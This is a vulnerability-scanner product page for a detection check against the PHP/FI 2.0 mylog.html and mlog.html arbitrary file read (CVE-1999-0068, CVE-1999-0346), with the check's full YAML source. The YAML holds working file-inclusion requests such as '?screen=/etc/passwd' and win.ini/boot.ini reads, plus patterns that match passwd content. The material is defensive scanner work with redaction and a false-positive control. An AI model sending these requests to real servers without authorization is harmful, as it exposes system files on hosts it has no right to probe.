PHP/FI — 1 vulnerability check

noctis ships 1 vulnerability check for PHP/FI, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP/FI mylog.html / mlog.html Arbitrary File Read

CVECVE-1999-0068, CVE-1999-0346
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/php-fi/mlog-mylog-file-read.yaml

Tests for the mylog.html and mlog.html example pages shipped with PHP/FI 2.0, which include the file named by the screen query parameter with no check, so any file the web server user can read is printed in the page. The feed looks for the pages in the web root, /php, /cgi-bin, /scripts and behind the PHP/FI CGI wrapper (/cgi-bin/php.cgi). When a page answers, it requests it with screen=/etc/passwd and, when no passwd content comes back, with the Windows files /windows/win.ini, /winnt/win.ini and /boot.ini. The content of the file in the reply confirms the read. A control request for an absent file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{page}}
  2. HTTP(S) request GET {{page}}?screen=/etc/passwd
  3. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{page}}?screen=/windows/win.ini
  6. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  7. HTTP(S) request GET {{page}}?screen=/winnt/win.ini
  8. Checks winnt_r.body for (?i)(; for 16-bit app support|\[fonts\])
  9. HTTP(S) request GET {{page}}?screen=/boot.ini
  10. Checks bootini_r.body for (?i)\[boot loader\]
  11. Parses / computes the next value with a Rhai script
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{page}}?screen={{ctrl_path}}
  14. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  15. … and 2 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/php-fi/mlog-mylog-file-read.yaml
# PHP/FI mylog.html / mlog.html example scripts arbitrary file read
# CVE-1999-0068 (mylog.html), CVE-1999-0346 (mlog.html)
#
# PHP/FI 2.0 (the predecessor of PHP 3) shipped two access-log example pages,
# mylog.html and mlog.html, that admins copied into their web space. Both end
# with   <?include "$screen">   — the "screen" query parameter is included
# with no check, so ?screen=/etc/passwd prints any file the web server user
# can read inside the page (Bugtraq, 19 Oct 1997, bryan berg).
#
# Detection (benign, read-only): for each usual location of the pages, GET the
# page (it must answer 200, as in the source NASL), then
#   <page>?screen=/etc/passwd
# and match the CONTENT of /etc/passwd; when nothing comes back, the Windows
# files /windows/win.ini, /winnt/win.ini, then /boot.ini. QoD 75.
#
# Improvements over the source NASL:
#   - The NASL only tries /php and the CGI directories; the feed also tries the
#     web root and the PHP/FI CGI wrapper path (/cgi-bin/php.cgi/<page>), the
#     usual way PHP/FI 2.0 pages were served.
#   - A control request (same page, same parameter, a path in an absent random
#     directory that still ends with the file that hit) must come back WITHOUT
#     any of these files; a server that serves the same content on every
#     request, or a honeypot keying a fake file on the file name, is not
#     reported (fail-closed: no control reply → no finding).
#   - Each finding names only the CVE of the page that was read (mylog.html →
#     CVE-1999-0068, mlog.html → CVE-1999-0346).
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: NVD has no v3 score for either CVE; v2 7.5 (CVE-1999-0068) and v2 5.0
# (CVE-1999-0346) are used, each on its own finding.
#
# Ported from OpenVAS/Greenbone NVT pre2008/php_arbitrary_file_access.nasl
# (OID 1.3.6.1.4.1.25623.1.0.15708, GPL-2.0-only).
uid: fe0845db-d16c-4f60-973c-f497dcb3b6f0
name: "PHP/FI mylog.html / mlog.html Arbitrary File Read"
description: |
  Tests for the mylog.html and mlog.html example pages shipped with PHP/FI 2.0,
  which include the file named by the screen query parameter with no check, so
  any file the web server user can read is printed in the page. The feed looks
  for the pages in the web root, /php, /cgi-bin, /scripts and behind the PHP/FI
  CGI wrapper (/cgi-bin/php.cgi). When a page answers, it requests it with
  screen=/etc/passwd and, when no passwd content comes back, with the Windows
  files /windows/win.ini, /winnt/win.ini and /boot.ini. The content of the file
  in the reply confirms the read. A control request for an absent file through
  the same parameter must not return any of these files, so a server that
  serves the same content on every request is not reported. Only world-readable
  system files are read. The account name (unless root), password field and
  gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-1999-0068, CVE-1999-0346]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [php-fi, php, file-read, local-file-inclusion, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-1999-0068"
  - "https://nvd.nist.gov/vuln/detail/CVE-1999-0346"
  - "https://insecure.org/sploits/php.example_scripts.mlog.mylog.html"
  - "https://www.exploit-db.com/exploits/19553"
  # OpenVAS/Greenbone NASL pre2008/php_arbitrary_file_access.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per page location. Each pass
  # resets the values it reads, so nothing is left over.
  - id: init-page-r
    action: set_var
    var_name: page_r
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over:
        - "/mylog.html"
        - "/mlog.html"
        - "/php/mylog.html"
        - "/php/mlog.html"
        - "/cgi-bin/mylog.html"
        - "/cgi-bin/mlog.html"
        - "/scripts/mylog.html"
        - "/scripts/mlog.html"
        - "/cgi-bin/php.cgi/mylog.html"
        - "/cgi-bin/php.cgi/mlog.html"

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-winnt-r
    action: set_var
    var_name: winnt_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""

  # ── The page must exist (200), as in the source check ────────────────────
  - id: page
    action: http_request
    method: GET
    path: "{{page}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page_r

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{page}}?screen=/etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "page_r.status == 200"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "page_r.status == 200"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();  // in place — trim() returns ()
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    condition: "page_r.status == 200"
    store_as: lin_proof

  # ── Windows: /windows/win.ini, /winnt/win.ini, then /boot.ini — only when
  # the page answered and the Linux read gave nothing ──────────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{page}}?screen=/windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'page_r.status == 200 && lin_proof == ""'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'page_r.status == 200 && lin_proof == ""'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-winnt
    action: http_request
    method: GET
    path: "{{page}}?screen=/winnt/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'page_r.status == 200 && lin_proof == "" && win_file == ""'
    store_as: winnt_r

  - id: winnt-content
    action: match
    source: winnt_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'page_r.status == 200 && lin_proof == "" && win_file == ""'
    on_match:
      set_vars:
        win_file: "winnt/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{page}}?screen=/boot.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'page_r.status == 200 && lin_proof == "" && win_file == ""'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'page_r.status == 200 && lin_proof == "" && win_file == ""'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same page and parameter, absent random file — must NOT carry
  # a file. The absent path sits in a random missing directory but still ENDS
  # with the file that hit, so a honeypot that keys a fake file on that name
  # or path suffix answers it too.
  - id: hit-file
    action: script
    code: |
      if lin_proof != "" { "etc/passwd" } else { win_file }
    condition: 'lin_proof != "" || win_file != ""'
    store_as: hit_file

  - id: control-path
    action: script
    code: |
      "/noctis-absent-" + oob_token + "/" + hit_file
    condition: 'hit_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{page}}?screen={{ctrl_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'hit_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean), one CVE per page. No
  # stop: a host serving both pages gets both CVEs.
  - id: report-mylog
    action: match
    source: hit_file
    pattern: "^(etc/passwd|windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
    condition: 'ctrl_r.status != 0 && ctrl_hit == false && ereg("/mylog\\.html$", page)'
    on_match:
      finding:
        cves: [CVE-1999-0068]
        cvss: 7.5
        severity: high
        title: "PHP/FI mylog.html Arbitrary File Read (CVE-1999-0068)"
        description: "An unauthenticated request to the PHP/FI mylog.html example page with screen set to an absolute file path returned the content of that system file, while the same request for an absent file did not. The page includes any file the web server user can read, such as configuration files holding passwords."
        remediation: "Delete the mylog.html and mlog.html example pages from the web space, and replace PHP/FI 2.0 (unsupported since 1998) with a maintained PHP release."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{page}}?screen=/{{hit_file}} returned the content of /{{hit_file}}; control for an absent file returned no file content; read: {{lin_proof}}{{win_file}}"

  - id: report-mlog
    action: match
    source: hit_file
    pattern: "^(etc/passwd|windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
    condition: 'ctrl_r.status != 0 && ctrl_hit == false && ereg("/mlog\\.html$", page)'
    on_match:
      finding:
        cves: [CVE-1999-0346]
        cvss: 5.0
        severity: medium
        title: "PHP/FI mlog.html Arbitrary File Read (CVE-1999-0346)"
        description: "An unauthenticated request to the PHP/FI mlog.html example page with screen set to an absolute file path returned the content of that system file, while the same request for an absent file did not. The page includes any file the web server user can read, such as configuration files holding passwords."
        remediation: "Delete the mlog.html and mylog.html example pages from the web space, and replace PHP/FI 2.0 (unsupported since 1998) with a maintained PHP release."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{page}}?screen=/{{hit_file}} returned the content of /{{hit_file}}; control for an absent file returned no file content; read: {{lin_proof}}{{win_file}}"

View these feeds on GitHub